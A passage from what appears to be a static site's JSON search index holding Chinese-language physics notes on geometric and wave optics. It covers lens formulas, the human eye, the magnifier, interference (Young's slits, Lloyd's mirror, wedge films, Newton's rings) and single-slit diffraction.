\\dfrac{f'}{f} = \\dfrac{n'}{n} \\] <p>\u5982\u679c\\(n=n'=1\\)\uff0c\u5219\\(f' = f\\)</p> \\[ f = f' = \\frac{1}{(n_L - 1) \\left( \\frac{1}{r_1} - \\frac{1}{r_2} \\right)} \\] <p>\u5982\u679c\\(f'\u548cf\\)\u90fd\u4e3a\u6b63\uff0c\u5219\u900f\u955c\u4e3a\u51f8\u900f\u955c\uff0c\u53cd\u4e4b\\(f\uff0cf'\\)\u4e3a\u8d1f\uff0c\u5219\u900f\u955c\u4e3a\u51f9\u900f\u955c</p>"},{"location":"NOTE/Physics/light/#_13","title":"\u7b26\u53f7\u7ea6\u5b9a","text":"<ul> <li>\u5982\u679c \\(Q\\) \u5728 \\(F\\) \u70b9\u7684\u5de6\u4fa7\uff0c\\(x &gt; 0\\)</li> <li>\u5982\u679c \\(Q\\) \u5728 \\(F\\) \u70b9\u7684\u53f3\u4fa7\uff0c\\(x &lt; 0\\)</li> <li>\u5982\u679c \\(Q'\\) \u5728 \\(F'\\) \u70b9\u7684\u5de6\u4fa7\uff0c\\(x' &lt; 0\\)</li> <li>\u5982\u679c \\(Q'\\) \u5728 \\(F'\\) \u70b9\u7684\u53f3\u4fa7\uff0c\\(x' &gt; 0\\)</li> </ul> \\[ o = f + x \\] \\[ i = f' + x' \\] \\[ \\frac{1}{f + x} + \\frac{1}{f' + x'} = \\frac{1}{f} \\] <p>\u53ef\u4ee5\u5316\u7b80\u4e3a</p> \\[ xx' = ff' \\]"},{"location":"NOTE/Physics/light/#_14","title":"\u6a2a\u5411\u653e\u5927\u500d\u6570\u4e0e\u5c48\u5149\u5ea6","text":"<p>\u5bf9\u4e8e\u5355\u4e2a\u955c\u9762\uff0c\u653e\u5927\u500d\u6570\u4e3a</p> \\[ m_1 = -\\dfrac{ni_1}{n_L o_1}, \\quad m_2 = -\\dfrac{n i_2}{n' o_2} \\] <p>\u5176\u4e2d\\(o_2\\)\u662fQ\u7ecf\u8fc7\u7b2c\u4e00\u4e2a\u7403\u9762\u955c\u7684\u865a\u50cf\u50cf\u8ddd,\u662f\u8d1f\u7684\uff1b</p> \\[ m = m_1 m_2 = \\dfrac{n i_1}{n_L o_1} \\cdot \\dfrac{n_L i_2}{n' o_2} = \\dfrac{n i_1}{n_L o_1} \\cdot \\dfrac{n_L i}{n' (-i_1)} = -\\dfrac{n i}{n' o} = -\\dfrac{fi}{f' o} \\] <p>\u5b9a\u4e49\u5c48\u5149\u5ea6</p> \\[ D = \\dfrac{1}{f} \\] <p>\u773c\u955c\u5ea6\u6570\u5b9a\u4e49\u4e3a100D\uff1b</p>"},{"location":"NOTE/Physics/light/#_15","title":"\u4eba\u773c\u6210\u50cf","text":"<p>\u4eba\u773c\u6700\u8fd1\u53ef\u4ee5\u770b\u6e05\u7684\u8ddd\u79bb\u4e3a25cm\uff0c\u6700\u8fdc\u53ef\u4ee5\u770b\u6e05\u7684\u8ddd\u79bb\u4e3a\u65e0\u7a77\u8fdc\uff1b</p> \\[ \\frac{1}{250 \\, \\text{mm}} + \\frac{1}{25 \\, \\text{mm}} = \\frac{1}{f} \\] <p>\u6b64\u65f6\\(f = 22.7mm\\)</p> <p>\u770b\u65e0\u7a77\u8fdc\u65f6,\\(d_o = \\infty, d_i = 25mm\\),\u6b64\u65f6\\(f = 25mm\\)</p> <p>\u8fd1\u89c6\u773c\u548c\u8fdc\u89c6\u773c\u53ef\u4ee5\u62b5\u6d88\u5417\uff1f</p> <p>\u8fd1\u89c6\u773c\u548c\u8fdc\u89c6\u773c\u4e0d\u80fd\u62b5\u6d88\uff0c\u8fd1\u89c6\u773c\u662f\u770b\u4e0d\u6e05\u65e0\u7a77\u8fdc\uff0c\u6210\u50cf\u5728\u89c6\u7f51\u819c\u524d\u65b9\uff0c\u8fdc\u89c6\u773c\u662f\u770b\u4e0d\u6e0525cm\uff0c\u6210\u50cf\u5728\u89c6\u7f51\u819c\u540e\u65b9\uff1b\u4e24\u8005\u90fd\u662f\u56e0\u4e3a\u4eba\u7684\u6676\u72b6\u4f53\u53d8\u5316\u8ddf\u4e0d\u4e0a\uff0c\u5982\u679c\u540c\u65f6\u6709\u8fd1\u89c6\u773c\u548c\u8fdc\u89c6\u773c\uff0c\u53ef\u80fd\u53ea\u80fd\u770b\u5230\u7279\u5b9a\u8ddd\u79bb\u7684\u7269\u4f53\uff1b</p>"},{"location":"NOTE/Physics/light/#_16","title":"\u653e\u5927\u955c","text":"<p>\u5bf9\u4e8e\u5f88\u5c0f\u7684\u7269\u4f53\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u5b83\u51d1\u5f97\u79bb\u773c\u775b\u5f88\u8fd1\uff0c\u4f46\u662f\u8fd9\u6837\u5bf9\u6676\u72b6\u4f53\u7684\u538b\u529b\u5f88\u5927\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u653e\u5927\u955c\uff0c\u51d1\u5f97\u5f88\u8fd1\u7684\u65f6\u5019\uff0c\u5229\u7528\u653e\u5927\u955c\u6210\u4e00\u4e2a\u653e\u5927\u7684\u865a\u50cf</p> <p>\u4f8b\u5982\uff0c\u539f\u672c\u5728\\(N\\)\u7684\u5730\u65b9\u6709\u4e00\u4e2a\u5c0f\u7269\u4f53\uff0c\u9ad8\u5ea6\u4e3a\\(d_0\\)</p> \\[     \\tan \\theta = \\frac{h_0}{N} \\sim \\theta = \\frac{h_0}{N} \\] <p>\u5229\u7528\u653e\u5927\u955c</p> \\[ \\text{Compare to unaided eye:} \\quad \\theta = \\frac{h_0}{N}, \\quad \\theta' = \\frac{h_i}{d_i} = \\frac{h_o}{d_o} \\] <p>\u653e\u5927\u500d\u6570</p> \\[ M = \\frac{\\theta'}{\\theta} = \\frac{h_o/d_o}{h_o/N} = \\frac{N}{d_o} \\] <p>\u5bf9\u4e8e\u8be5\u653e\u5927\u955c</p> \\[ \\frac{1}{d_o} + \\frac{1}{d_i} = \\frac{1}{f} \\quad \\Rightarrow \\quad \\frac{1}{d_o} = \\frac{1}{f} - \\frac{1}{d_i} \\] <p>\u6211\u4eec\u8981\u628a\u50cf\u6210\u5728N\u5904\uff0c\\(d_i\\)\u662f\u865a\u50cf\uff0c\u6240\u4ee5\\(-d_i = N\\)</p> <p>\u4e5f\u5c31\u662f\u8bf4</p> \\[ \\frac{1}{d_o} = \\frac{1}{f} + \\frac{1}{N} \\] <p>\u5f97\u5230\u653e\u5927\u500d\u6570\u4e3a</p> \\[ M = \\frac{N}{d_o} = N(\\frac{1}{f} + \\frac{1}{N}) = \\frac{N}{f}+1 \\]"},{"location":"NOTE/Physics/light/#_17","title":"\u6ce2\u52a8\u5149\u5b66","text":""},{"location":"NOTE/Physics/light/#interference","title":"\u5149\u7684\u5e72\u6d89(Interference)","text":""},{"location":"NOTE/Physics/light/#_18","title":"\u5149\u7684\u53e0\u52a0","text":"<p>\u7535\u573a\u5f3a\u5ea6 \\(E\\) \u7684\u632f\u52a8\u5728\u7a7a\u95f4\u7684\u4f20\u64ad\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ E = E_0 \\cos(\\omega t + \\varphi_1 - 2\\pi \\frac{x}{\\lambda}) \\] <p>\u5bf9\u4e8e\u4e24\u5217\u5149\u6ce2\u7684\u53e0\u52a0\uff1a</p> <ul> <li>\\(\\omega_1 = \\omega_2 = \\omega\\)</li> <li>\\(E_1 = E_{10} \\cos(\\omega t + \\varphi_{10})\\)</li> <li>\\(E_2 = E_{20} \\cos(\\omega t + \\varphi_{20})\\)</li> </ul> <p>\u53e0\u52a0\u7535\u573a\uff1a</p> \\[ E = E_1 + E_2 \\] <ul> <li>\u540c\u76f8\u4f4d\uff1a\\(\\Delta \\varphi = 0\\),\u76f8\u5e72\uff0cin phase</li> <li>\u53cd\u76f8\u4f4d\uff1a\\(\\Delta \\varphi = \\pi\\)\uff0cout of phase</li> </ul> <p>\u590d\u5e73\u9762\u77e2\u91cf\u63a8\u5bfc</p> <p>\u5bf9\u4e8e\u4e24\u5217\u5149\u6ce2\u7684\u53e0\u52a0\uff1a</p> <ul> <li>\\(\\omega_1 = \\omega_2 = \\omega\\)</li> <li>\\(E_1 = E_{10} \\cos(\\omega t + \\varphi_{10})\\)</li> <li>\\(E_2 = E_{20} \\cos(\\omega t + \\varphi_{20})\\)</li> </ul> <p>\u53e0\u52a0\u7535\u573a\uff1a</p> \\[ E = E_1 + E_2 = E_0 \\cos(\\omega t + \\varphi_0) \\] <p>\u5149\u5f3a\uff1a</p> \\[ I_0 = E_0^2 = E_{10}^2 + E_{20}^2 + 2E_{10}E_{20}\\cos\\Delta\\varphi \\] <p>\u5176\u4e2d\uff0c\\(\\Delta\\varphi = \\varphi_{20} - \\varphi_{10}\\)</p> <p> </p> <p>\u5e72\u6d89\u7684\u5149\u5f3a\u5206\u5e03</p> <p>\u5e72\u6d89\u73b0\u8c61\u7684\u5149\u5f3a\u5206\u5e03\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ I = I_1 + I_2 + 2\\sqrt{I_1 I_2} \\cos \\Delta \\varphi \\] <p>\u5176\u4e2d\uff0c\\(I_1\\) \u548c \\(I_2\\) \u662f\u4e24\u5217\u5149\u6ce2\u7684\u5f3a\u5ea6\uff0c\\(\\Delta \\varphi\\) \u662f\u76f8\u4f4d\u5dee\u3002</p> <p>\u5f53 \\(I_1 = I_2\\) \u65f6\uff0c\u5149\u5f3a\u5206\u5e03\u4e3a\uff1a</p> \\[ I = 4I_1 \\cos^2 \\frac{\\Delta \\varphi}{2} \\] <p>\u8fd9\u8868\u660e\u5149\u5f3a\u7684\u6700\u5927\u503c\u4e3a \\(I_{\\text{max}} = 4I_1\\)\uff0c\u6700\u5c0f\u503c\u4e3a \\(I_{\\text{min}} = 0\\)\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#_19","title":"\u5a92\u8d28\u4e2d\u7684\u5149\u7a0b","text":"<p>\u76f8\u4f4d\u5dee\u5728\u5206\u6790\u5149\u7684\u5e72\u6d89\u65f6\u5341\u5206\u91cd\u8981\uff0c\u4e3a\u4fbf\u4e8e\u8ba1\u7b97\u5149\u901a\u8fc7\u4e0d\u540c\u5a92\u8d28\u65f6\u7684\u76f8\u4f4d\u5dee\uff0c\u5f15\u5165\u201c\u5149\u7a0b\u5dee\u201d\u7684\u6982\u5ff5\u3002(\u5149\u7a0b\u662f \\(\\int n ds\\))</p> \\[     \\Delta \\varphi = \\dfrac{2\\pi}{\\lambda} \\Delta L \\] <p>\u5982\u679c\u5728\u4ecb\u8d28\u4e2d</p> \\[ \\lambda_n = \\dfrac{v}{f} = \\dfrac{c/n}{f} = \\dfrac{c/f}{n} = \\dfrac{\\lambda_0}{n} \\] <p>\u6b64\u65f6</p> \\[      \\Delta \\varphi = \\dfrac{2\\pi}{\\lambda} n \\Delta  L \\] <p>\u7ed3\u8bba</p> <ul> <li>\u76f8\u5e72\u6761\u4ef6\uff1a\u632f\u52a8\u65b9\u5411\u76f8\u540c\uff0c\u76f8\u4f4d\u5dee\u6052\u5b9a,\u9891\u7387\u76f8\u540c</li> </ul> <p>\u5e72\u6d89\u5224\u65ad\uff1a</p> \\[ \\Delta \\varphi =  \\begin{cases}  \\pm 2k\\pi, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u52a0\u5f3a}) \\\\ \\pm (2k + 1)\\pi, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u51cf\u5f31}) \\end{cases} \\] \\[ \\delta =  \\begin{cases}  \\pm k\\lambda_0, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u52a0\u5f3a}) \\\\ \\pm \\left(2k + 1\\right)\\dfrac{\\lambda_0}{2}, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u51cf\u5f31}) \\end{cases} \\]"},{"location":"NOTE/Physics/light/#_20","title":"\u6768\u6c0f\u53cc\u7f1d\u5e72\u6d89\u5b9e\u9a8c","text":"<ul> <li>\u5e72\u6d89\u76f8\u957f\uff0c\u660e\u7eb9\uff1a\\(\\delta = d \\cdot \\frac{x}{D} = \\pm k\\lambda\\)</li> <li>\u5e72\u6d89\u76f8\u6d88\uff0c\u6697\u7eb9\uff1a\\(\\delta = d \\cdot \\frac{x}{D} = \\pm (2k - 1)\\frac{\\lambda}{2}\\)</li> <li>\u6697\u7eb9\u4e2d\u5fc3\uff1a\\(x_{\\pm(2k+1)} = \\pm (2k - 1)\\frac{D}{2d}\\lambda, \\, k = 1,2,3\\ldots\\)</li> <li>\u660e\u7eb9\u4e2d\u5fc3\uff1a\\(x_{\\pm k} = \\pm k\\frac{D}{d}\\lambda, \\, k = 0,1,2,3\\ldots\\)</li> <li>\u4e24\u76f8\u90bb\u660e\u7eb9\uff08\u6216\u6697\u7eb9\uff09\u95f4\u8ddd\uff1a\\(\\Delta x = \\frac{D}{d}\\lambda\\)</li> </ul> Question <ul> <li> <p>\u82e5S1\u3001S2\u4e24\u6761\u7f1d\u7684\u5bbd\u5ea6\u4e0d\u7b49\uff0c\u6761\u7eb9\u6709\u4f55\u53d8\u5316\uff1f  \u4e24\u6761\u7f1d\u7684\u5bbd\u5ea6\u4e0d\u7b49\uff0c\u4f7f\u4e24\u5149\u675f\u7684\u5f3a\u5ea6\u4e0d\u7b49\uff1b\u867d\u7136\u5e72\u6d89\u6761\u7eb9\u4e2d\u5fc3\u8ddd\u4e0d\u53d8\uff0c\u4f46\u539f\u6781\u5c0f\u5904\u7684\u5f3a\u5ea6\u4e0d\u518d\u4e3a\u96f6\uff0c\u6761\u7eb9\u7684\u53ef\u89c1\u5ea6\u53d8\u5dee\u3002</p> </li> <li> <p>\u82e5\u4f7f\u7528\u767d\u5149\u8fdb\u884c\u5e72\u6d89\u5b9e\u9a8c\uff0c\u6761\u7eb9\u6709\u4f55\u53d8\u5316\uff1f \u82e5\u4f7f\u7528\u767d\u5149\u5149\u6e90\uff0c\u5219\u5728\u4e2d\u592e\u96f6\u7ea7\u51fa\u73b0\u767d\u8272\u4eae\u7eb9\uff0c\u4e24\u4fa7\u5bf9\u79f0\u6392\u5217\u82e5\u5e72\u5f69\u8272\u6761\u7eb9\u3002</p> </li> <li> <p>\u7528\u767d\u5149 \u4f5c\u53cc\u7f1d\u5e72\u6d89\u5b9e\u9a8c\u65f6\uff0c\u80fd\u89c2\u5bdf \u5230\u51e0\u7ea7\u6e05\u6670\u53ef\u8fa8\u7684\u5f69\u8272\u5149\u8c31\uff1f \u5728\u4e2d\u592e\u767d\u8272\u660e\u7eb9\u4e24\u4fa7\uff0c \u53ea\u6709\u7b2c\u4e00\u7ea7\u5f69\u8272\u5149\u8c31\u662f\u6e05\u6670\u53ef\u8fa8\u7684\u3002</p> </li> </ul>"},{"location":"NOTE/Physics/light/#_21","title":"\u6d1b\u57c3\u5fb7\u955c\u5b9e\u9a8c","text":"<p>\u5f53\u5c4f\u79fb\u5230A'B'\u4f4d\u7f6e\u65f6\uff0c\u5728\u5c4f\u4e0a\u7684P\u70b9\u51fa\u73b0\u6697\u6761\u7eb9\u3002\u8fd9\u4e00\u7ed3\u8bba\u8bc1\u5b9e\uff0c\u5149\u5728\u955c\u5b50\u8868\u9762\u53cd\u5c04\u65f6\u6709\u76f8\u4f4d\\(\\pi\\)\u7a81\u53d8\u3002</p> <p>Reflection Phase Shifts\u534a\u6ce2\u635f\u5931</p> <p>\u5982\u679c\u5149\u662f\u4ece\u5149 \u758f\u5a92\u8d28\u4f20\u5411\u5149\u5bc6\u5a92\u8d28\uff0c\u5728\u5176\u5206\u754c\u9762\u4e0a\u53cd\u5c04\u65f6\u5c06\u53d1\u751f\u534a\u6ce2\u635f\u5931\uff0c\u6298\u5c04\u6ce2\u65e0\u534a\u6ce2\u635f\u5931\u3002\u5728\u4e0a\u8ff0\u5b9e\u9a8c\u4e2d\uff0c\u5149\u4ece\u7a7a\u6c14\u4f20\u5411\u73bb\u7483\uff0c\u56e0\u6b64\u5728\u53cd\u5c04\u65f6\u53d1\u751f\u534a\u6ce2\u635f\u5931\u3002\u4ea7\u751f\\(\\pi\\)\u7684\u76f8\u4f4d\u5dee\uff0c\u56e0\u6b64\u4e3a\u6697\u7eb9\u3002</p>"},{"location":"NOTE/Physics/light/#_22","title":"\u7b49\u539a\u5e72\u6d89","text":"<p>\u5f53\u4e00\u675f\u5e73\u884c\u5149\u5165\u5c04\u5230\u539a\u5ea6\u4e0d\u5747\u5300\u7684\u900f\u660e\u4ecb\u8d28\u8584\u819c\u4e0a\uff0c\u5982\u56fe\u6240\u793a\uff0c\u4e24\u5149\u7ebf \\(a\\) \u548c \\(b\\) \u7684\u5149\u7a0b\u5dee\uff1a</p> \\[ \\delta = 2n_2e + \\delta' \\] <p>\u5176\u4e2d\uff0c\\(\\delta'\\) \u4e3a\u56e0\u4e3a\u534a\u6ce2\u635f\u5931\u800c\u4ea7\u751f\u7684\u9644\u52a0\u5149\u7a0b\u5dee\u3002</p> <ul> <li>\u5f53 \\(e\\) \u4fdd\u6301\u4e0d\u53d8\u65f6\uff0c\u5149\u7a0b\u5dee\u4ec5\u4e0e\u819c\u7684\u539a\u5ea6\u6709\u5173\uff0c\u51e1\u539a\u5ea6\u76f8\u540c\u7684\u5730\u65b9\u5149\u7a0b\u5dee\u76f8\u540c\uff0c\u4ece\u800c\u5bf9\u5e94\u540c\u4e00\u6761\u5e72\u6d89\u6761\u7eb9 \u2014\u2014 \u7b49\u539a\u5e72\u6d89\u6761\u7eb9\u3002</li> </ul> <p>\u5288\u5c16\u819c</p> <p>\u4ece\u7a7a\u6c14\u5230\u73bb\u7483\u5b58\u5728\u534a\u6ce2\u635f\u5931</p> \\[     \\delta = 2ne + \\frac{\\lambda}{2} \\] <p>\u53d1\u751f\u5e72\u6d89\u65f6</p> \\[     \\delta = \\begin{cases}     2ne + \\frac{\\lambda}{2} = k\\lambda, &amp; \\text{\u660e\u7eb9} \\\\     2ne + \\frac{\\lambda}{2} = (2k - 1)\\frac{\\lambda}{2}, &amp; \\text{\u6697\u7eb9}     \\end{cases} \\] <p>\u76f8\u90bb\u660e\u7eb9\uff08\u6216\u6697\u7eb9\uff09</p> \\[     \\Delta e = \\frac{\\lambda}{2n} \\] \u5229\u7528\u5288\u5c16\u6d4b\u91cf\u5de5\u4ef6\u51f9\u51f8 <p>  \u5982\u679c\u5de5\u4ef6\u8868\u9762\u662f\u7cbe\u786e\u7684\u5e73\u9762,\u7b49\u539a\u5e72\u6d89\u6761\u7eb9\u5e94\u8be5\u662f\u7b49\u8ddd\u79bb\u7684\u5e73\u884c\u76f4\u6761\u7eb9\uff0c\u73b0\u5728\u89c2\u5bdf\u5230\u7684\u5e72\u6d89\u6761\u7eb9\u5f2f\u5411\u7a7a\u6c14\u819c\u7684\u5de6\u7aef\u3002\u56e0\u6b64\uff0c\u53ef\u5224\u65ad\u5de5\u4ef6\u8868\u9762\u662f\u4e0b\u51f9\u7684</p> <p>\u5229\u7528\u76f8\u4f3c\u4e09\u89d2\u5f62\u5173\u7cfb\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\uff1a</p> \\[ \\frac{a}{b} = \\frac{\\Delta h}{(e_k - e_{k-1})} = \\frac{\\Delta h}{\\frac{\\lambda}{2}} \\] <p>\u6240\u4ee5\uff1a</p> \\[ \\Delta h = \\frac{a \\lambda}{b \\cdot 2} \\] <p>\u725b\u987f\u73af\u5b9e\u9a8c</p> <p>\u5149\u7a0b\u5dee\u4e3a</p> \\[     \\delta = 2e + \\frac{\\lambda}{2} \\] \\[ \\delta = 2e + \\frac{\\lambda}{2} =  \\begin{cases}  k\\lambda, &amp; (k = 1, 2, 3, \\ldots) \\quad \\text{\u660e\u7eb9} \\\\  (2k + 1)\\frac{\\lambda}{2}, &amp; (k = 0, 1, 2, \\ldots) \\quad \\text{\u6697\u7eb9}  \\end{cases} \\] <p>\u7531\u51e0\u4f55\u5173\u7cfb\u53ef\u77e5</p> \\[ (R - e)^2 + r^2 = R^2 \\] <p>\u5c55\u5f00\u5e76\u7b80\u5316\u5f97\u5230\uff1a</p> \\[ R^2 - 2Re + e^2 + r^2 = R^2 \\] <p>\u5ffd\u7565 \\(e^2\\) \u9879\uff0c\u5f97\u5230\uff1a</p> \\[ e = \\frac{r^2}{2R} \\] \\[ r =  \\begin{cases}  \\sqrt{(k - \\frac{1}{2})R\\lambda}, &amp; k = 1, 2, 3, \\ldots \\quad \\text{\u660e\u73af} \\\\  \\sqrt{kR\\lambda}, &amp; k = 0, 1, 2, \\ldots \\quad \\text{\u6697\u73af}  \\end{cases} \\] <p>\u5bf9\u4e8e \\(k = 0\\)\uff0c\\(r = 0\\)\uff0c\u4e2d\u5fc3\u662f\u6697\u6591\u3002</p> <p>\u5bf9\u4e8e \\(k = 1\\)\uff0c</p> \\[ r =  \\begin{cases}  \\sqrt{\\frac{1}{2}R\\lambda}, &amp; k = 1, 2, 3, \\ldots \\quad \\text{\u660e\u73af} \\\\  \\sqrt{R\\lambda}, &amp; k = 0, 1, 2, \\ldots \\quad \\text{\u6697\u73af}  \\end{cases} \\] \\[ \\Delta r = r_{k+1} - r_k = \\frac{\\sqrt{R\\lambda}}{\\sqrt{k} + \\sqrt{k+1}} \\] <p>\u725b\u987f\u73af\u662f\u7b49\u539a\u5e72\u6d89\uff0c\u5176\u5e72\u6d89\u6761\u7eb9\u662f\u5185\u758f\u5916\u5bc6\u7684\u540c\u5fc3\u5706\u73af\u3002</p>"},{"location":"NOTE/Physics/light/#diffraction","title":"\u5149\u7684\u884d\u5c04(Diffraction)","text":"<p>\u5149\u5728\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u9047\u5230\u969c\u788d\u7269\u65f6\uff0c\u4f1a\u7ed5\u8fc7\u969c\u788d\u7269\u7ee7\u7eed\u4f20\u64ad\uff0c\u8fd9\u79cd\u73b0\u8c61\u79f0\u4e3a\u5149\u7684\u884d\u5c04\u3002</p> <p>Note</p> <ul> <li>\u83f2\u6d85\u5c14\u884d\u5c04:\u83f2\u6d85\u8033\u884d\u5c04\u662f\u6307\u5f53\u5149\u6e90\u548c\u89c2\u5bdf\u5c4f\uff0c\u6216\u4e24\u8005\u4e4b\u4e00\u79bb\u969c\u788d\u7269\uff08\u884d\u5c04\u5c4f\uff09\u7684\u8ddd\u79bb\u4e3a\u6709\u9650\u8fdc\u65f6\uff0c\u6240\u53d1\u751f\u7684\u884d\u5c04\u73b0\u8c61</li> <li>\u592b\u7405\u79be\u8d39\u884d\u5c04:\u5f53\u5149\u6e90\u548c\u89c2\u5bdf\u5c4f\u4e24\u8005\u5747\u79bb\u969c\u788d\u7269\uff08\u884d\u5c04\u5c4f\uff09\u7684\u8ddd\u79bb\u4e3a\u65e0\u9650\u8fdc\u65f6\uff0c\u6240\u53d1\u751f\u7684\u884d\u5c04\u73b0\u8c61</li> </ul> <p>\u60e0\u66f4\u65af-\u83f2\u6d85\u5c14\u539f\u7406</p> <ul> <li>\u60e0\u66f4\u65af\u539f\u7406\uff1a\u6ce2\u9762\u4e0a\u7684\u6bcf\u4e00\u70b9\u90fd\u53ef\u4ee5\u770b\u4f5c\u662f\u65b0\u7684\u6b21\u6ce2\u6e90\uff0c\u8fd9\u4e9b\u6b21\u6ce2\u6e90\u53d1\u51fa\u7684\u7403\u9762\u6b21\u6ce2(wavelets)\u7684\u5305\u7edc\u9762\u5c31\u662f\u65b0\u7684\u6ce2c\u9762\u3002</li> <li>\u60e0\u66f4\u65af-\u83f2\u6d85\u5c14\u539f\u7406\uff1a\u6b21\u6ce2\u6e90\u53d1\u51fa\u7684\u7403\u9762\u6b21\u6ce2\u5728\u7a7a\u95f4\u67d0\u70b9\u7684\u76f8\u5e72\u53e0\u52a0\uff0c\u51b3\u5b9a\u4e86\u8be5\u70b9\u6ce2\u7684\u5f3a\u5ea6\u3002</li> </ul> \\[ dE = CK(\\theta) \\frac{dS}{r} \\cos\\left(\\omega t - \\frac{2\\pi r}{\\lambda}\\right) \\] <ul> <li>\\(K(\\theta)\\) \u4e3a\u503e\u659c\u56e0\u5b50\uff0c\u5f53 \\(\\theta = 0\\) \u65f6\uff0c\\(K(\\theta) = 1\\)( \u6cbf\u539f\u6ce2\u4f20\u64ad\u65b9\u5411\u7684\u5b50\u6ce2\u632f\u5e45\u6700\u5927)\uff0c\\(\\theta\\) \u8d8a\u5927\uff0c\\(K(\\theta)\\) \u8d8a\u5c0f, \u5f53 \\(\\theta = \\frac{\\pi}{2}\\) \u65f6\uff0c\\(K(\\theta) = 0\\)\u3002\u5927\u4e8e \\(\\frac{\\pi}{2}\\) \u65f6\uff0c\\(K(\\theta)\\) \u4e3a0\uff0c\u5b50\u6ce2\u4e0d\u80fd\u5411\u540e\u4f20\u64ad\u3002</li> </ul> <p>\u60e0\u66f4\u65af-\u83f2\u6d85\u5c14\u539f\u7406\u7684\u6570\u5b66\u8868\u793a</p> \\[ E(P) = \\int_S \\frac{CK(\\theta)}{r} \\cos\\left(\\omega t - \\frac{2\\pi r}{\\lambda}\\right) dS \\] <p>\u5728\u592b\u7405\u79be\u8d39\u884d\u5c04\u4e2d\uff0c\u7531\u4e8e\u8ddd\u79bb\u662f\u65e0\u9650\u8fdc\uff0c\u6240\u4ee5 \\(r\\) \u548c \\(\\theta\\) \u90fd\u662f\u5e38\u6570\uff0c\u53ef\u4ee5\u5199\u6210\uff1a</p> \\[  E(P) \\propto \\int_S  \\cos\\left(\\omega t - \\frac{2\\pi r}{\\lambda}\\right)  dS  \\]"},{"location":"NOTE/Physics/light/#_23","title":"\u5355\u7f1d\u592b\u7405\u79be\u8d39\u884d\u5c04","text":"<p>\u5149\u8def\u56fe\u5982\u4e0b\uff1a</p> <ul> <li>\u5149\u7a0b\u5dee\uff1a\\(\\delta = a \\sin \\theta\\)\uff0c\u8fd9\u662f\u56e0\u4e3a\u8d39\u9a6c\u539f\u7406\u7b49\u5149\u7a0b</li> </ul> <p>\u5f53 \\(\\theta = 0\\) \u65f6\uff0c\\(a \\sin \\theta = 0\\)\uff0c\u6b64\u65f6\u4e3a\u4e2d\u592e\u660e\u7eb9</p>"},{"location":"NOTE/Physics/light/#_24","title":"\u83f2\u6d85\u5c14\u534a\u6ce2\u5e26\u6cd5","text":"<p>\u5728\u6ce2\u9635\u9762\u4e0a\u622a\u53d6\u4e00\u4e2a\u6761\u72b6\u5e26\uff0c\u4f7f\u5b83\u4e0a\u4e0b\u4e24\u8fb9\u7f18\u53d1\u7684\u5149\u5728\u5c4f\u4e0a\u5904\u7684\u5149\u7a0b\u5dee\u4e3a \\(\\lambda/2\\)\uff0c\u6b64\u5e26\u79f0\u4e3a\u534a\u6ce2\u5e26\u3002</p> <ul> <li>\u5f53 \\(a \\sin \\theta = \\lambda\\) \u65f6\uff0c\u53ef\u5c06\u7f1d\u5206\u4e3a\u4e24\u4e2a\u201c\u534a\u6ce2\u5e26\u201d\u3002</li> </ul> <ul> <li>\u76f8\u90bb\u534a\u6ce2\u5e26\u4e0a\u5bf9\u5e94\u70b9\u53d1\u7684\u5149\u5728 \\(P\\) \u5904\u5e72\u6d89\u76f8\u6d88\u5f62\u6210\u6697\u7eb9\u3002</li> </ul> <p>\u7531\u534a\u6ce2\u5e26\u6cd5\u53ef\u5f97\u660e\u6697\u7eb9\u6761\u4ef6\uff1a</p> <ul> <li>\u6697\u7eb9\uff1a\\(a \\sin \\theta = \\pm k\\lambda\\), \\(k = 1,2,3,\\ldots\\)</li> <li>\u660e\u7eb9\uff1a\\(a \\sin \\theta = \\pm (2k + 1)\\frac{\\lambda}{2}\\), \\(k = 1,2,\\ldots\\)</li> <li>\u4e2d\u592e\u660e\u7eb9\uff1a\\(a \\sin \\theta = 0\\)</li> </ul> <p>\u5bf9\u4e8e\u5176\u5b83\u89d2\u5ea6\uff0c\u4f7f\u7528\u632f\u5e45\u77e2\u91cf\u53e0\u52a0\u6cd5\uff1b</p> \\[ A_\\theta = A_1 + A_1 e^{i\\Delta\\varphi} + A_1 e^{i2\\Delta\\varphi} + \\ldots + A_1 e^{i(N-1)\\Delta\\varphi} \\] <p>\u901a\u8fc7\u516c\u5f0f\u63a8\u5bfc\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\uff1a</p> \\[ A_\\theta = A_1 \\frac{e^{iN\\Delta\\varphi} - 1}{e^{i\\Delta\\varphi} - 1} = A_1 \\frac{e^{iN\\Delta\\varphi/2} \\left(e^{iN\\Delta\\varphi/2} - e^{-iN\\Delta\\varphi/2}\\right)}{e^{i\\Delta\\varphi/2} \\left(e^{i\\Delta\\varphi/2} - e^{-i\\Delta\\varphi/2}\\right)} \\] <p>\u8fd9\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7b80\u5316\u4e3a\uff1a</p> \\[ A_\\theta = A_1 \\frac{\\sin(N\\Delta\\varphi/2)}{\\sin(\\Delta\\varphi/2)} \\] <p>\u632f\u5e45\u7684\u7edd\u5bf9\u503c\u4e3a\uff1a</p> \\[ |A_\\theta| = A_1 \\frac{\\sin(N\\Delta\\varphi/2)}{\\sin(\\Delta\\varphi/2)} \\] <p>\u5f53 \\(N\\Delta\\varphi = \\frac{2\\pi}{\\lambda} a \\sin \\theta\\) \u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u5b9a\u4e49\uff1a</p> \\[ u = \\frac{\\pi}{\\lambda} a \\sin \\theta \\] <p>\u56e0\u6b64\uff0c\u632f\u5e45\u53ef\u4ee5\u8fd1\u4f3c\u4e3a\uff1a</p> \\[ |A_\\theta| \\approx A_1 N \\frac{\\sin u}{u} \\] <p>\u8fd9\u8868\u660e\u5149\u7684\u5f3a\u5ea6\u5206\u5e03\u4e0e \\(\\sin u / u\\) 